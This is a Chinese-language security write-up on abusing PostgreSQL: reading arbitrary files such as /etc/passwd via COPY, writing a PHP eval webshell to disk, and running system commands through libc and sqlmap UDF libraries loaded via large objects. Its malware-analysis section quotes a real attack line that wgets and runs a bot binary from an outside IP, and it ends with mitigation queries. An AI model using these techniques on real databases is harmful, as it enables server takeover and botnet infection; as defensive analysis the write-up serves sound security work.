PostgreSQL Reading Ad Writing Files、Execution System Instructions Vul
catalog
1. postgresql简介 2. 文件读取/写入 3. 命令执行 4. 影响范围 5. 恶意代码分析 6. 缓解方案
1. postgresql简介
PostgreSQL 是一个自由的对象-关系数据库服务器(数据库管理系统),它在灵活的 BSD-风格许可证下发行。它提供了相对其他开放源代码数据库系统(比如 MySQL 和 Firebird),和专有系统(比如 Oracle、Sybase、IBM 的 DB2 和 Microsoft SQL Server)之外的另一种选择
0x1: 优点
1. PostgreSQL 的特性覆盖了 SQL-2/SQL-92 和 SQL-3/SQL-99,首先,它包括了可以说是目前世界上最丰富的数据类型的支持,其中有些数据类型可以说连商业数据库都不具备, 比如 IP 类型和几何类型等 2. PostgreSQL 是全功能的自由软件数据库,很长时间以来,PostgreSQL 是唯一支持事务、子查询、多版本并行控制系统(MVCC)、数据完整性检查等特性的唯一的一种自由软件的数据库管理系统。 Inprise 的 InterBase 以及SAP等厂商将其原先专有软件开放为自由软件之后才打破了这个唯一。最后,PostgreSQL拥有一支非常活跃的开发队伍,而且在许多黑客的努力下,PostgreSQL 的质量日益提高。 3. 从技术角度来讲,PostgreSQL 采用的是比较经典的C/S(client/server)结构,也就是一个客户端对应一个服务器端守护进程的模式,这个守护进程分析客户端来的查询请求,生成规划树,进行数据检索并最终把结果格式化输出后返回给客户端。为了便于客户端的程序的编写,由数据库服务器提供了统一的客户端 C 接口。而不同的客户端接口都是源自这个 C 接口,比如ODBC,JDBC,Python,Perl,Tcl,C/C++,ESQL等, 同时也要指出的是,PostgreSQL 对接口的支持也是非常丰富的,几乎支持所有类型的数据库客户端接口。这一点也可以说是 PostgreSQL 一大优点
0x2: 函数
通过函数,可以在数据库服务器端执行指令程序。尽管这样的指令程序可以使用基本的SQL语句写成,但是由于其缺乏流程控制等功能,所以在PostgreSQL中引入了使用其它程序语言编写函数的能力,包括
1. 一个内置的名为PL/pgSQL的过程语言,类似于Oracle的PL/SQL 2. 包括PL/Perl,plPHP,PL/Python,PL/Ruby,PL/sh,PL/Tcl与PL/Scheme在内的脚本语言 3. 编译语言: C,C++,或Java(通过PL/Java) 4. R统计语言(PL/R)
以上部分的语言,甚至可以在触发器内执行。PostgreSQL支持行返回函数:它们的输出是一系列行类型数据的集合,可以在查询中当作表来使用。函数也可以被定义成以创建者或者调用者的身份运行。在某些场合,或者其他的数据库产品中,函数也会被称为“存储过程”,但技术上这两者并未有太大分别
0x3: 使用PostgreSQL控制台
//启动server service postgresql initdb /etc/init.d/postgresql start adduser dbuser sudo su - postgres psql //这时相当于系统用户postgres以同名数据库用户的身份,登录数据库,这是不用输入密码的。如果一切正常,系统提示符会变为"postgres=#",表示这时已经进入了数据库控制台。以下的命令都在控制台内完成 \password postgres //创建数据库用户dbuser CREATE USER dbuser WITH PASSWORD 'password'; //创建用户数据库,这里为exampledb,并指定所有者为dbuser CREATE DATABASE exampledb OWNER dbuser; //将exampledb数据库的所有权限都赋予dbuser,否则dbuser只能登录控制台,没有任何数据库操作权限 GRANT ALL PRIVILEGES ON DATABASE exampledb to dbuser;
0x4: 登录数据库
添加新用户和新数据库以后,就要以新用户的名义登录数据库,这时使用的是psql命令
psql -U dbuser -d exampledb -h 127.0.0.1 -p 5432
0x5: 修改密码
alter user postgres with password 'aliyunSecurity1234*_*';
0x6: 无密码验证登录
方法一: 设置环境变量 PGPASSWORD
PGPASSWORD是PostgreSQL系统环境变量,在客户端设置这后,那么在客户端连接远端数据库时,将优先使用这个密码
export PGPASSWORD=aliyun //查看环境变量 export
方法二: 设置".pgpass"密码文件
通过在客户端/home/postgres目录下创建隐藏文件.pgpass,从而避免连接数据库时弹出密码输入提示
--创建密码文件 .pgpass(on 客户端) vi /home/postgres/.pgpass --格式 hostname:port:database:username:password --权限 Chmod 600 .pgpass
方法三: 修改服务端 pg_hba.conf
修改认证文件 $PGDATA/pg_hba.conf, 添加以下行,并reload使配置立即生效
# TYPE DATABASE USER CIDR-ADDRESS METHOD //1. 指定IP免密码验证(任意用户) host aliyun postgres xxx.xx.xx.xx/32 trust
也可疑显式指定某个账户无密码登录
//修改 pg_hba.conf 文件 local all all ident map=map1 //然后编辑 pg_ident.conf,添加 map1 root postgres //然后重启pgsql服务或者reload,如果当前系统用户是root,则可这样直接直接登录数据库 psql -Upostgres //其他具有sudo权限的用户也可这样免口令登录 sudo /usr/pgsql-9.1/bin/psql -Upostgre
Relevant Link:
http://baike.baidu.com/item/PostgreSQL http://www.ruanyifeng.com/blog/2013/12/getting_started_with_postgresql.html http://my.oschina.net/dddpeter/blog/11615 http://waiting.iteye.com/blog/1539999 http://francs3.blog.163.com/blog/static/405767272011725112431290/
2. 文件读取/写入
PostgreSQL 8.1 以后提供了一组现成的文件操作函数 pg_logdir_ls()、pg_ls_dir()、pg_file_rename()、pg_file_write()、 pg_read_file()、pg_length_file()
0x1: 列目录
select pg_ls_dir('./');
0x2: 读取./postgresql/data下的任意文件
pg_xxx这个adminpack将权限限制在了./postgresql/data下面
select pg_read_file('postgresql.conf',0,1000);
0x3: 读取任意文件
drop table aliyun; CREATE TABLE aliyun(t TEXT); COPY aliyun FROM '/etc/passwd'; SELECT * FROM aliyun limit 1000 offset 0;
DROP TABLE aliyun; CREATE TABLE aliyun (t TEXT); COPY aliyun(t) FROM '/etc/passwd'; SELECT * FROM aliyun;
0x4: 写入任意文件到任意目录
DROP TABLE aliyun; CREATE TABLE aliyun (t TEXT); INSERT INTO aliyun(t) VALUES ('<?php eval($_POST[1])'); COPY aliyun(t) TO '/tmp/aliyun';
Relevant Link:
http://chenxiaoyu.org/2010/06/02/postgresql-copy-dump-store.html http://www.postgresql.org/docs/9.1/static/functions-admin.html
3. 命令执行
0x1: 利用 libc 中的 system() 函数
CREATE FUNCTION system(cstring) RETURNS int AS '/lib64/libc.so.6', 'system' LANGUAGE 'C' STRICT;
PostgreSQL加载外部动态库的时候,会检查MAGIC DATA,如果没有这个函数(Pg_magic_func),PostgreSQL认为这个动态库不是PostgreSQL可以使用的动态库
0x2: 利用Perl/Python脚本语言功能
0x3: 利用C语言自定义函数
1. 将sqlmap的udf so文件转为16进制的代码
7F454C4602010100000000000000000003003E0001000000C00C0000000000004000000000000000A0170000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000008413000000000000841300000000000000002000000000000100000006000000881300000000000088132000000000008813200000000000A802000000000000B00200000000000000002000000000000200000006000000B013000000000000B013200000000000B01... ...
2. 查看PostgreSQL目录
SELECT setting FROM pg_settings WHERE name='data_directory';
3. 查询oid
select lo_creat(-1);
返回的oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容,pg_largeobject 表保存那些标记着"大对象"的数据。 一个大对象是使用其创建时分配的 OID 标识的。 每个大对象都分解成足够小的小段或者"页面"以便以行的形式存储在 pg_largeobject 里。 每页的数据定义为LOBLKSIZE(目前是BLCKSZ/4,或者通常是 2K 字节)
如果我们生成的文件过大,就需要进行分段导出
4. 清空页面
delete from pg_largeobject where loid=16412; //oid与上面保持一致
5. 把16进制的so文件导入数据库
insert into pg_largeobject (loid,pageno,data) values(18412, 0, decode('7F454CXXXXXXXXX000', 'hex')); //超过LOBLKSIZE的文件需要分段导入
6. 利用PostgreSQL自带函数将大型对象导出到文件
SELECT lo_export(12345, '/tmp/testproxy.so');
7. 建立UDF
CREATE OR REPLACE FUNCTION exec111() RETURNS text AS '/tmp/testproxy.so', 'exec111' LANGUAGE C STRICT;"
8. 调用这个UDF
select exec111();
9. 删除UDF
drop function exec111();
Relevant Link:
http://zone.wooyun.org/content/1591 http://zone.wooyun.org/content/4971
4. 影响范围
1. 导致WEBSHELL入侵: postgresql可以向磁盘上任意目录写任意文件 2. 导致恶意文件写入、并执行 3. 漏洞的利用不区分linux、windows操作系统及其版本
5. 恶意代码分析
1. 黑客通过批量扫描postgresql弱口令、空口令获取目标机器列表 2. 利用postgresql pg_largeobject的特性,将恶意udf分段写入postgresql表中,并导出实体文件到: /tmp/testproxy.so 3. 从/tmp/testproxy.so导入恶意代码,创建UDF,并执行,执行内容如下 .. wget -P /tmp/ http://211.115.116.198:1234/testproxy -O /tmp/testproxy chmod 777 /tmp/testproxy /tmp/testproxy > testtmp & rm -rf ./testproxy 4. testproxy是真正的肉鸡恶意程序,启动后会尝试解析baby0119.com域名,并连接其80端口,等待C&C发送指令并执行
6. 缓解方案
1. 禁止postgresql以root权限运行,建议使用独立帐号运行 adduser dbuser sudo su - postgres 2. 修改数据库帐号为强密码,例如 alter user postgres with password 'aliyunSecurity1234*_*'; 3. 查看是否存在恶意UDF函数 select proname,prosrc from pg_proc where proname = 'exec111'; 4. 查看是否存在可疑UDF函数 select proname,prosrc from pg_proc; //查看哪些函数不是系统预设的、或者管理员自己添加的 5. 查看是否存在可疑存储过程 select tgrelid from pg_trigger;
Copyright (c) 2015 LittleHann All rights reserved